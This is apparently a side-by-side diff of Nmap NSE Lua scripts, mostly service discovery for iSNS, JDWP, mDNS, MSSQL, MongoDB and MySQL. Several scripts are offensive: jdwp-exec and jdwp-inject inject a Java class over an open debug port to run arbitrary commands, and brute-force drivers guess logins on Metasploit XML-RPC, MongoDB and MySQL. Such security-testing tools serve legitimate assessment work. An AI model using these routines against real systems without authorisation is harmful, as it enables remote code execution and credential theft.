action = function(host, port) action = function(host, port)
local helper = isns.Helper:new(host, port) local helper = isns.Helper:new(host, port)
if ( not(helper:connect()) ) then if ( not(helper:connect()) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
local status, portals = helper:listPortals() local status, portals = helper:listPortals()
if ( not(status) ) then if ( not(status) ) then
return return
end end
local results = {} local results = {}
local restab = tab.new(2) local restab = tab.new(2)
tab.addrow(restab, "ip", "port") tab.addrow(restab, "ip", "port")
for _, portal in ipairs(portals) do for _, portal in ipairs(portals) do
tab.addrow(restab, portal.addr, ("%d/%s"):format(portal.port, portal.proto)) tab.addrow(restab, portal.addr, ("%d/%s"):format(portal.port, portal.proto))
end end
table.insert(results, { name = "Portal", tab.dump(restab) }) table.insert(results, { name = "Portal", tab.dump(restab) })
local status, nodes = helper:listISCINodes() local status, nodes = helper:listISCINodes()
if ( not(status) ) then if ( not(status) ) then
return return
end end
restab = tab.new(2) restab = tab.new(2)
tab.addrow(restab, "node", "type") tab.addrow(restab, "node", "type")
for _, portal in ipairs(nodes) do for _, portal in ipairs(nodes) do
tab.addrow(restab, portal.name, portal.type) tab.addrow(restab, portal.name, portal.type)
end end
table.insert(results, { name = "iSCSI Nodes", tab.dump(restab) }) table.insert(results, { name = "iSCSI Nodes", tab.dump(restab) })
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end

View File

@@ -37,61 +37,61 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit","intrusive"} categories = {"exploit","intrusive"}
portrule = function(host, port) portrule = function(host, port)
-- JDWP will close the port if there is no valid handshake within 2 -- JDWP will close the port if there is no valid handshake within 2
-- seconds, Service detection's NULL probe detects it as tcpwrapped. -- seconds, Service detection's NULL probe detects it as tcpwrapped.
return port.service == "tcpwrapped" return port.service == "tcpwrapped"
and port.protocol == "tcp" and port.state == "open" and port.protocol == "tcp" and port.state == "open"
and not(shortport.port_is_excluded(port.number,port.protocol)) and not(shortport.port_is_excluded(port.number,port.protocol))
end end
action = function(host, port) action = function(host, port)
stdnse.sleep(5) -- let the remote socket recover from connect() scan stdnse.sleep(5) -- let the remote socket recover from connect() scan
local status,socket = jdwp.connect(host,port) -- initialize the connection local status,socket = jdwp.connect(host,port) -- initialize the connection
if not status then if not status then
stdnse.print_debug("error, %s",socket) stdnse.print_debug("error, %s",socket)
return nil return nil
end end
-- read .class file -- read .class file
local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPExecCmd.class"), "rb") local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPExecCmd.class"), "rb")
local class_bytes = file:read("*all") local class_bytes = file:read("*all")
-- inject the class -- inject the class
local injectedClass local injectedClass
status,injectedClass = jdwp.injectClass(socket,class_bytes) status,injectedClass = jdwp.injectClass(socket,class_bytes)
if not status then if not status then
stdnse.print_debug(1, "%s: Failed to inject class", SCRIPT_NAME) stdnse.print_debug(1, "%s: Failed to inject class", SCRIPT_NAME)
return stdnse.format_output(false, "Failed to inject class") return stdnse.format_output(false, "Failed to inject class")
end end
-- find injected class method -- find injected class method
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false) local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
if runMethodID == nil then if runMethodID == nil then
stdnse.print_debug(1, "%s: Couldn't find run method", SCRIPT_NAME) stdnse.print_debug(1, "%s: Couldn't find run method", SCRIPT_NAME)
return stdnse.format_output(false, "Couldn't find run method.") return stdnse.format_output(false, "Couldn't find run method.")
end end
-- set run() method argument -- set run() method argument
local cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd') local cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd')
if cmd == nil then if cmd == nil then
return stdnse.format_output(false, "This script requires a cmd argument to be specified.") return stdnse.format_output(false, "This script requires a cmd argument to be specified.")
end end
local cmdID local cmdID
status,cmdID = jdwp.createString(socket,0,cmd) status,cmdID = jdwp.createString(socket,0,cmd)
if not status then if not status then
stdnse.print_debug(1, "%s: Couldn't create string", SCRIPT_NAME) stdnse.print_debug(1, "%s: Couldn't create string", SCRIPT_NAME)
return stdnse.format_output(false, cmdID) return stdnse.format_output(false, cmdID)
end end
local runArgs = bin.pack(">CL",0x4c,cmdID) -- 0x4c is object type tag local runArgs = bin.pack(">CL",0x4c,cmdID) -- 0x4c is object type tag
-- invoke run method -- invoke run method
local result local result
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs) status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs)
if not status then if not status then
stdnse.print_debug(1, "%s: Couldn't invoke run method", SCRIPT_NAME) stdnse.print_debug(1, "%s: Couldn't invoke run method", SCRIPT_NAME)
return stdnse.format_output(false, result) return stdnse.format_output(false, result)
end end
-- get the result string -- get the result string
local _,_,stringID = bin.unpack(">CL",result) local _,_,stringID = bin.unpack(">CL",result)
status,result = jdwp.readString(socket,0,stringID) status,result = jdwp.readString(socket,0,stringID)
return stdnse.format_output(status,result) return stdnse.format_output(status,result)
end end

View File

@@ -44,51 +44,51 @@ categories = {"default","safe","discovery"}
-- |_ System time: Sat Aug 11 15:21:44 CEST 2012 -- |_ System time: Sat Aug 11 15:21:44 CEST 2012
portrule = function(host, port) portrule = function(host, port)
-- JDWP will close the port if there is no valid handshake within 2 -- JDWP will close the port if there is no valid handshake within 2
-- seconds, Service detection's NULL probe detects it as tcpwrapped. -- seconds, Service detection's NULL probe detects it as tcpwrapped.
return port.service == "tcpwrapped" return port.service == "tcpwrapped"
and port.protocol == "tcp" and port.state == "open" and port.protocol == "tcp" and port.state == "open"
and not(shortport.port_is_excluded(port.number,port.protocol)) and not(shortport.port_is_excluded(port.number,port.protocol))
end end
action = function(host, port) action = function(host, port)
stdnse.sleep(5) -- let the remote socket recover from connect() scan stdnse.sleep(5) -- let the remote socket recover from connect() scan
local status,socket = jdwp.connect(host,port) -- initialize the connection local status,socket = jdwp.connect(host,port) -- initialize the connection
if not status then if not status then
stdnse.print_debug("error, %s",socket) stdnse.print_debug("error, %s",socket)
return nil return nil
end end
-- read .class file -- read .class file
local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb") local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb")
local class_bytes = file:read("*all") local class_bytes = file:read("*all")
-- inject the class -- inject the class
local injectedClass local injectedClass
status,injectedClass = jdwp.injectClass(socket,class_bytes) status,injectedClass = jdwp.injectClass(socket,class_bytes)
if not status then if not status then
stdnse.print_debug(1, "%s: Failed to inject class", SCRIPT_NAME) stdnse.print_debug(1, "%s: Failed to inject class", SCRIPT_NAME)
return stdnse.format_output(false, "Failed to inject class") return stdnse.format_output(false, "Failed to inject class")
end end
-- find injected class method -- find injected class method
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false) local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
if runMethodID == nil then if runMethodID == nil then
stdnse.print_debug(1, "%s: Couldn't find run method", SCRIPT_NAME) stdnse.print_debug(1, "%s: Couldn't find run method", SCRIPT_NAME)
return stdnse.format_output(false, "Couldn't find run method.") return stdnse.format_output(false, "Couldn't find run method.")
end end
-- invoke run method -- invoke run method
local result local result
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil) status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
if not status then if not status then
stdnse.print_debug(1, "%s: Couldn't invoke run method", SCRIPT_NAME) stdnse.print_debug(1, "%s: Couldn't invoke run method", SCRIPT_NAME)
return stdnse.format_output(false, result) return stdnse.format_output(false, result)
end end
-- get the result string -- get the result string
local _,_,stringID = bin.unpack(">CL",result) local _,_,stringID = bin.unpack(">CL",result)
status,result = jdwp.readString(socket,0,stringID) status,result = jdwp.readString(socket,0,stringID)
-- parse results -- parse results
return stdnse.format_output(status,result) return stdnse.format_output(status,result)
end end

View File

@@ -31,55 +31,55 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit","intrusive"} categories = {"exploit","intrusive"}
portrule = function(host, port) portrule = function(host, port)
-- JDWP will close the port if there is no valid handshake within 2 -- JDWP will close the port if there is no valid handshake within 2
-- seconds, Service detection's NULL probe detects it as tcpwrapped. -- seconds, Service detection's NULL probe detects it as tcpwrapped.
return port.service == "tcpwrapped" return port.service == "tcpwrapped"
and port.protocol == "tcp" and port.state == "open" and port.protocol == "tcp" and port.state == "open"
and not(shortport.port_is_excluded(port.number,port.protocol)) and not(shortport.port_is_excluded(port.number,port.protocol))
end end
action = function(host, port) action = function(host, port)
stdnse.sleep(5) -- let the remote socket recover from connect() scan stdnse.sleep(5) -- let the remote socket recover from connect() scan
local status,socket = jdwp.connect(host,port) -- initialize the connection local status,socket = jdwp.connect(host,port) -- initialize the connection
if not status then if not status then
stdnse.print_debug("error, %s",socket) stdnse.print_debug("error, %s",socket)
return nil return nil
end end
-- read .class file -- read .class file
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename') local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
if filename == nil then if filename == nil then
return stdnse.format_output(false, "This script requires a .class file to inject.") return stdnse.format_output(false, "This script requires a .class file to inject.")
end end
local file = io.open(nmap.fetchfile(filename) or filename, "rb") local file = io.open(nmap.fetchfile(filename) or filename, "rb")
local class_bytes = file:read("*all") local class_bytes = file:read("*all")
-- inject the class -- inject the class
local injectedClass local injectedClass
status,injectedClass = jdwp.injectClass(socket,class_bytes) status,injectedClass = jdwp.injectClass(socket,class_bytes)
if not status then if not status then
stdnse.print_debug(1, "%s: Failed to inject class", SCRIPT_NAME) stdnse.print_debug(1, "%s: Failed to inject class", SCRIPT_NAME)
return stdnse.format_output(false, "Failed to inject class") return stdnse.format_output(false, "Failed to inject class")
end end
-- find injected class method -- find injected class method
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false) local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
if runMethodID == nil then if runMethodID == nil then
stdnse.print_debug(1, "%s: Couldn't find run method", SCRIPT_NAME) stdnse.print_debug(1, "%s: Couldn't find run method", SCRIPT_NAME)
return stdnse.format_output(false, "Couldn't find run method.") return stdnse.format_output(false, "Couldn't find run method.")
end end
-- invoke run method -- invoke run method
local result local result
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil) status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
if not status then if not status then
stdnse.print_debug(1, "%s: Couldn't invoke run method", SCRIPT_NAME) stdnse.print_debug(1, "%s: Couldn't invoke run method", SCRIPT_NAME)
return stdnse.format_output(false, result) return stdnse.format_output(false, result)
end end
-- get the result string -- get the result string
local _,_,stringID = bin.unpack(">CL",result) local _,_,stringID = bin.unpack(">CL",result)
status,result = jdwp.readString(socket,0,stringID) status,result = jdwp.readString(socket,0,stringID)
-- parse results -- parse results
return stdnse.format_output(status,result) return stdnse.format_output(status,result)
end end

View File

@@ -23,36 +23,36 @@ categories = {"version"}
portrule = function(host, port) portrule = function(host, port)
-- JDWP will close the port if there is no valid handshake within 2 -- JDWP will close the port if there is no valid handshake within 2
-- seconds, Service detection's NULL probe detects it as tcpwrapped. -- seconds, Service detection's NULL probe detects it as tcpwrapped.
return port.service == "tcpwrapped" return port.service == "tcpwrapped"
and port.protocol == "tcp" and port.state == "open" and port.protocol == "tcp" and port.state == "open"
and not(shortport.port_is_excluded(port.number,port.protocol)) and not(shortport.port_is_excluded(port.number,port.protocol))
end end
action = function(host, port) action = function(host, port)
-- make sure we get at least one more packet after the JDWP-Handshake -- make sure we get at least one more packet after the JDWP-Handshake
-- response even if there is some delay; the handshake response has 14 -- response even if there is some delay; the handshake response has 14
-- bytes, so wait for 18 bytes here. -- bytes, so wait for 18 bytes here.
local status, result = comm.exchange(host, port, "JDWP-Handshake\0\0\0\11\0\0\0\1\0\1\1", {proto="tcp", bytes=18}) local status, result = comm.exchange(host, port, "JDWP-Handshake\0\0\0\11\0\0\0\1\0\1\1", {proto="tcp", bytes=18})
if (not status) then if (not status) then
return return
end end
-- match jdwp m|JDWP-Handshake| p/$1/ v/$3/ i/$2\n$4/ -- match jdwp m|JDWP-Handshake| p/$1/ v/$3/ i/$2\n$4/
local match = {string.match(result, "^JDWP%-Handshake\0\0..\0\0\0\1\128\0\0\0\0..([^\0\n]*)\n([^\0]*)\0\0..\0\0..\0\0..([0-9._]+)\0\0..([^\0]*)")} local match = {string.match(result, "^JDWP%-Handshake\0\0..\0\0\0\1\128\0\0\0\0..([^\0\n]*)\n([^\0]*)\0\0..\0\0..\0\0..([0-9._]+)\0\0..([^\0]*)")}
if match == nil or #match == 0 then if match == nil or #match == 0 then
-- if we have one \128 (reply marker), it is at least not echo because the request did not contain \128 -- if we have one \128 (reply marker), it is at least not echo because the request did not contain \128
if (string.match(result,"^JDWP%-Handshake\0.*\128") ~= nil) then if (string.match(result,"^JDWP%-Handshake\0.*\128") ~= nil) then
port.version.name="jdwp" port.version.name="jdwp"
port.version.product="unknown" port.version.product="unknown"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end
return return
end end
port.version.name="jdwp" port.version.name="jdwp"
port.version.product = match[1] port.version.product = match[1]
port.version.version = match[3] port.version.version = match[3]
-- port.version.extrainfo = match[2] .. "\n" .. match[4] -- port.version.extrainfo = match[2] .. "\n" .. match[4]
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
return return
end end

View File

@@ -55,32 +55,32 @@ portrule = shortport.portnumber({5353,9100}, "udp")
action = function( host, port ) action = function( host, port )
local result = {} local result = {}
local status, response = dns.query( "", { port = port.number, host = host.ip, dtype="PTR", retPkt=true} ) local status, response = dns.query( "", { port = port.number, host = host.ip, dtype="PTR", retPkt=true} )
if ( not(status) ) then if ( not(status) ) then
return return
end end
local status, txtrecords = dns.findNiceAnswer( dns.types.TXT, response, true ) local status, txtrecords = dns.findNiceAnswer( dns.types.TXT, response, true )
if ( not(status) ) then if ( not(status) ) then
return return
end end
for _, v in ipairs( txtrecords ) do for _, v in ipairs( txtrecords ) do
if ( v:len() > 0 ) then if ( v:len() > 0 ) then
if v:find("PRINTERVIDPID") then if v:find("PRINTERVIDPID") then
port.version.name="hbn3" port.version.name="hbn3"
end end
if not v:find("product=") then if not v:find("product=") then
v = v:gsub(" ", ": ", 1) v = v:gsub(" ", ": ", 1)
end end
table.insert( result, v ) table.insert( result, v )
end end
end end
-- set port to open -- set port to open
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -35,65 +35,65 @@ portrule = shortport.port_or_service(55553, "metasploit-xmlrpc", "tcp")
Driver = Driver =
{ {
new = function (self, host, port, opts) new = function (self, host, port, opts)
local o = { host = host, port = port, opts = opts } local o = { host = host, port = port, opts = opts }
setmetatable (o,self) setmetatable (o,self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function ( self ) connect = function ( self )
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
if ( not(self.socket:connect(self.host, self.port, self.opts)) ) then if ( not(self.socket:connect(self.host, self.port, self.opts)) ) then
return false return false
end end
return true return true
end, end,
login = function( self, username, password ) login = function( self, username, password )
local xmlreq='<?xml version="1.0" ?><methodCall><methodName>auth.login</methodName><params><param><value><string>'..username..'</string></value></param><param><value><string>'..password.."</string></value></param></params></methodCall>\n"..string.char(0) local xmlreq='<?xml version="1.0" ?><methodCall><methodName>auth.login</methodName><params><param><value><string>'..username..'</string></value></param><param><value><string>'..password.."</string></value></param></params></methodCall>\n"..string.char(0)
local status, err = self.socket:send(xmlreq) local status, err = self.socket:send(xmlreq)
if ( not ( status ) ) then if ( not ( status ) ) then
local err = brute.Error:new( "Unable to send handshake" ) local err = brute.Error:new( "Unable to send handshake" )
err:setAbort(true) err:setAbort(true)
return false, err return false, err
end end
-- Create a buffer and receive the first line -- Create a buffer and receive the first line
local response local response
status, response = self.socket:receive_buf("\r?\n", false) status, response = self.socket:receive_buf("\r?\n", false)
if (response == nil or string.match(response,"<name>faultString</name><value><string>authentication error</string>")) then if (response == nil or string.match(response,"<name>faultString</name><value><string>authentication error</string>")) then
stdnse.print_debug(2, "metasploit-xmlrpc-brute: Bad login: %s/%s", username, password) stdnse.print_debug(2, "metasploit-xmlrpc-brute: Bad login: %s/%s", username, password)
return false, brute.Error:new( "Bad login" ) return false, brute.Error:new( "Bad login" )
elseif (string.match(response,"<name>result</name><value><string>success</string></value>")) then elseif (string.match(response,"<name>result</name><value><string>success</string></value>")) then
stdnse.print_debug(1, "metasploit-xmlrpc-brute: Good login: %s/%s", username, password) stdnse.print_debug(1, "metasploit-xmlrpc-brute: Good login: %s/%s", username, password)
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end end
stdnse.print_debug(1, "metasploit-xmlrpc-brute: WARNING: Unhandled response: %s", response) stdnse.print_debug(1, "metasploit-xmlrpc-brute: WARNING: Unhandled response: %s", response)
return false, brute.Error:new( "unhandled response" ) return false, brute.Error:new( "unhandled response" )
end, end,
disconnect = function( self ) disconnect = function( self )
self.socket:close() self.socket:close()
end, end,
} }
action = function(host, port) action = function(host, port)
-- first determine whether we need SSL or not -- first determine whether we need SSL or not
local xmlreq='<?xml version="1.0" ?><methodCall><methodName>core.version</methodName></methodCall>\n'..string.char(0) local xmlreq='<?xml version="1.0" ?><methodCall><methodName>core.version</methodName></methodCall>\n'..string.char(0)
local socket, _, opts = comm.tryssl(host, port, xmlreq, { recv_first = false } ) local socket, _, opts = comm.tryssl(host, port, xmlreq, { recv_first = false } )
if ( not(socket) ) then if ( not(socket) ) then
return "\n ERROR: Failed to determine whether SSL was needed or not" return "\n ERROR: Failed to determine whether SSL was needed or not"
end end
local engine = brute.Engine:new(Driver, host, port, opts) local engine = brute.Engine:new(Driver, host, port, opts)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true engine.options.firstonly = true
local status, result = engine:start() local status, result = engine:start()
return result return result
end end

View File

@@ -35,72 +35,72 @@ portrule = shortport.port_or_service({27017}, {"mongodb"})
Driver = { Driver = {
new = function(self, host, port, options) new = function(self, host, port, options)
local o = { host = host, port = port, sock = nmap.new_socket() } local o = { host = host, port = port, sock = nmap.new_socket() }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function(self) connect = function(self)
return self.sock:connect(self.host, self.port) return self.sock:connect(self.host, self.port)
end, end,
login = function(self, username, password) login = function(self, username, password)
local status, resp = mongodb.login(self.sock, arg_db, username, password) local status, resp = mongodb.login(self.sock, arg_db, username, password)
if ( status ) then if ( status ) then
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
elseif ( resp ~= "Authentication failed" ) then elseif ( resp ~= "Authentication failed" ) then
local err = brute.Error:new( resp ) local err = brute.Error:new( resp )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function(self) disconnect = function(self)
return self.sock:close() return self.sock:close()
end, end,
} }
local function needsAuth(host, port) local function needsAuth(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local status, result = socket:connect(host, port) local status, result = socket:connect(host, port)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to connect to server" return false, "Failed to connect to server"
end end
local packet local packet
status, packet = mongodb.listDbQuery() status, packet = mongodb.listDbQuery()
if ( not(status) ) then if ( not(status) ) then
return false, result return false, result
end end
--- Send packet --- Send packet
status, result = mongodb.query(socket, packet) status, result = mongodb.query(socket, packet)
if ( not(status) ) then if ( not(status) ) then
return false, result return false, result
end end
socket:close() socket:close()
if ( status and result.errmsg ) then if ( status and result.errmsg ) then
return true return true
end end
return false return false
end end
action = function(host, port) action = function(host, port)
if ( not(needsAuth(host, port)) ) then if ( not(needsAuth(host, port)) ) then
return "No authentication needed" return "No authentication needed"
end end
local engine = brute.Engine:new(Driver, host, port ) local engine = brute.Engine:new(Driver, host, port )
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true engine.options.firstonly = true
local status, result = engine:start() local status, result = engine:start()
return result return result
end end

View File

@@ -51,50 +51,50 @@ portrule = shortport.port_or_service({27017}, {"mongodb"})
function action(host,port) function action(host,port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(10000) socket:set_timeout(10000)
-- do some exception / cleanup -- do some exception / cleanup
local catch = function() local catch = function()
socket:close() socket:close()
end end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
try( socket:connect(host, port) ) try( socket:connect(host, port) )
-- uglyness to allow creds.mongodb to work, as the port is not recognized -- uglyness to allow creds.mongodb to work, as the port is not recognized
-- as mongodb, unless a service scan was run -- as mongodb, unless a service scan was run
local ps = port.service local ps = port.service
port.service = 'mongodb' port.service = 'mongodb'
local c = creds.Credentials:new(creds.ALL_DATA, host, port) local c = creds.Credentials:new(creds.ALL_DATA, host, port)
for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do
local status, err = mongodb.login(socket, "admin", cred.user, cred.pass) local status, err = mongodb.login(socket, "admin", cred.user, cred.pass)
if ( not(status) ) then if ( not(status) ) then
return err return err
end end
end end
port.service = ps port.service = ps
local req, result, packet, err, status local req, result, packet, err, status
--Build packet --Build packet
status, packet = mongodb.listDbQuery() status, packet = mongodb.listDbQuery()
if not status then return result end-- Error message if not status then return result end-- Error message
--- Send packet --- Send packet
status, result = mongodb.query(socket, packet) status, result = mongodb.query(socket, packet)
if not status then return result end-- Error message if not status then return result end-- Error message
port.version.name ='mongodb' port.version.name ='mongodb'
port.version.product='MongoDB' port.version.product='MongoDB'
nmap.set_port_version(host,port) nmap.set_port_version(host,port)
local output = mongodb.queryResultToTable(result) local output = mongodb.queryResultToTable(result)
if err ~= nil then if err ~= nil then
stdnse.log_error(err) stdnse.log_error(err)
end end
if result ~= nil then if result ~= nil then
return stdnse.format_output(true, output ) return stdnse.format_output(true, output )
end end
end end

View File

@@ -37,69 +37,69 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"} categories = {"discovery", "safe"}
hostrule = function(host) hostrule = function(host)
if ( mssql.Helper.WasDiscoveryPerformed( host ) ) then if ( mssql.Helper.WasDiscoveryPerformed( host ) ) then
return mssql.Helper.GetDiscoveredInstances( host ) ~= nil return mssql.Helper.GetDiscoveredInstances( host ) ~= nil
else else
local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} ) local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} )
if ( (stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) ~= nil) or if ( (stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) ~= nil) or
(sqlBrowserPort and (sqlBrowserPort.state == "open" or sqlBrowserPort.state == "open|filtered")) ) then (sqlBrowserPort and (sqlBrowserPort.state == "open" or sqlBrowserPort.state == "open|filtered")) ) then
return true return true
end end
end end
end end
local function checkPort(host, port) local function checkPort(host, port)
local s = nmap.new_socket() local s = nmap.new_socket()
s:set_timeout(5000) s:set_timeout(5000)
local status = s:connect(host, port, "tcp") local status = s:connect(host, port, "tcp")
s:close() s:close()
return status return status
end end
local function discoverDAC(host, name, result) local function discoverDAC(host, name, result)
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
stdnse.print_debug(2, "Discovering DAC port on instance: %s", name) stdnse.print_debug(2, "Discovering DAC port on instance: %s", name)
local port = mssql.Helper.DiscoverDACPort( host, name ) local port = mssql.Helper.DiscoverDACPort( host, name )
if ( port ) then if ( port ) then
if ( checkPort(host, port) ) then if ( checkPort(host, port) ) then
table.insert(result, ("Instance: %s; DAC port: %s"):format(name, port)) table.insert(result, ("Instance: %s; DAC port: %s"):format(name, port))
else else
table.insert(result, ("Instance: %s; DAC port: %s (connection failed)"):format(name, port)) table.insert(result, ("Instance: %s; DAC port: %s (connection failed)"):format(name, port))
end end
end end
condvar "signal" condvar "signal"
end end
action = function( host ) action = function( host )
local result, threads = {}, {} local result, threads = {}, {}
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
local status, instanceList = mssql.Helper.GetTargetInstances( host ) local status, instanceList = mssql.Helper.GetTargetInstances( host )
-- if no instances were targeted, then display info on all -- if no instances were targeted, then display info on all
if ( not status ) then if ( not status ) then
if ( not mssql.Helper.WasDiscoveryPerformed( host ) ) then if ( not mssql.Helper.WasDiscoveryPerformed( host ) ) then
mssql.Helper.Discover( host ) mssql.Helper.Discover( host )
end end
instanceList = mssql.Helper.GetDiscoveredInstances( host ) instanceList = mssql.Helper.GetDiscoveredInstances( host )
end end
for _, instance in ipairs(instanceList or {}) do for _, instance in ipairs(instanceList or {}) do
local name = instance:GetName():match("^[^\\]*\\(.*)$") local name = instance:GetName():match("^[^\\]*\\(.*)$")
if ( name ) then if ( name ) then
local co = stdnse.new_thread(discoverDAC, host, name, result) local co = stdnse.new_thread(discoverDAC, host, name, result)
threads[co] = true threads[co] = true
end end
end end
while(next(threads)) do while(next(threads)) do
for t in pairs(threads) do for t in pairs(threads) do
threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
end end
return stdnse.format_output( true, result ) return stdnse.format_output( true, result )
end end

View File

@@ -41,57 +41,57 @@ arg_timeout = (arg_timeout or 5) * 1000
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
connect = function( self ) connect = function( self )
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
local status, err = self.socket:connect(self.host, self.port) local status, err = self.socket:connect(self.host, self.port)
self.socket:set_timeout(arg_timeout) self.socket:set_timeout(arg_timeout)
if(not(status)) then if(not(status)) then
return false, brute.Error:new( "Couldn't connect to host: " .. err ) return false, brute.Error:new( "Couldn't connect to host: " .. err )
end end
return true return true
end, end,
login = function (self, user, pass) login = function (self, user, pass)
local status, response = mysql.receiveGreeting(self.socket) local status, response = mysql.receiveGreeting(self.socket)
if(not(status)) then if(not(status)) then
return false,brute.Error:new(response) return false,brute.Error:new(response)
end end
stdnse.print_debug( "Trying %s/%s ...", user, pass ) stdnse.print_debug( "Trying %s/%s ...", user, pass )
status, response = mysql.loginRequest( self.socket, { authversion = "post41", charset = response.charset }, user, pass, response.salt ) status, response = mysql.loginRequest( self.socket, { authversion = "post41", charset = response.charset }, user, pass, response.salt )
if status then if status then
-- Add credentials for other mysql scripts to use -- Add credentials for other mysql scripts to use
if nmap.registry.mysqlusers == nil then if nmap.registry.mysqlusers == nil then
nmap.registry.mysqlusers = {} nmap.registry.mysqlusers = {}
end end
nmap.registry.mysqlusers[user]=pass nmap.registry.mysqlusers[user]=pass
return true, brute.Account:new( user, pass, creds.State.VALID) return true, brute.Account:new( user, pass, creds.State.VALID)
end end
return false,brute.Error:new( "Incorrect password" ) return false,brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
self.socket:close() self.socket:close()
return true return true
end end
} }
action = function( host, port ) action = function( host, port )
local status, result local status, result
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -41,58 +41,58 @@ portrule = shortport.port_or_service(3306, "mysql")
action = function( host, port ) action = function( host, port )
local socket = nmap.new_socket() local socket = nmap.new_socket()
local catch = function() socket:close() end local catch = function() socket:close() end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local result, response, dbs = {}, nil, {} local result, response, dbs = {}, nil, {}
local users = {} local users = {}
local nmap_args = nmap.registry.args local nmap_args = nmap.registry.args
local status, rows local status, rows
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(5000) socket:set_timeout(5000)
-- first, let's see if the script has any credentials as arguments? -- first, let's see if the script has any credentials as arguments?
if nmap_args.mysqluser then if nmap_args.mysqluser then
users[nmap_args.mysqluser] = nmap_args.mysqlpass or "" users[nmap_args.mysqluser] = nmap_args.mysqlpass or ""
-- next, let's see if mysql-brute or mysql-empty-password brought us anything -- next, let's see if mysql-brute or mysql-empty-password brought us anything
elseif nmap.registry.mysqlusers then elseif nmap.registry.mysqlusers then
-- do we have root credentials? -- do we have root credentials?
if nmap.registry.mysqlusers['root'] then if nmap.registry.mysqlusers['root'] then
users['root'] = nmap.registry.mysqlusers['root'] users['root'] = nmap.registry.mysqlusers['root']
else else
-- we didn't have root, so let's make sure we loop over them all -- we didn't have root, so let's make sure we loop over them all
users = nmap.registry.mysqlusers users = nmap.registry.mysqlusers
end end
-- last, no dice, we don't have any credentials at all -- last, no dice, we don't have any credentials at all
else else
stdnse.print_debug("No credentials supplied, aborting ...") stdnse.print_debug("No credentials supplied, aborting ...")
return return
end end
-- --
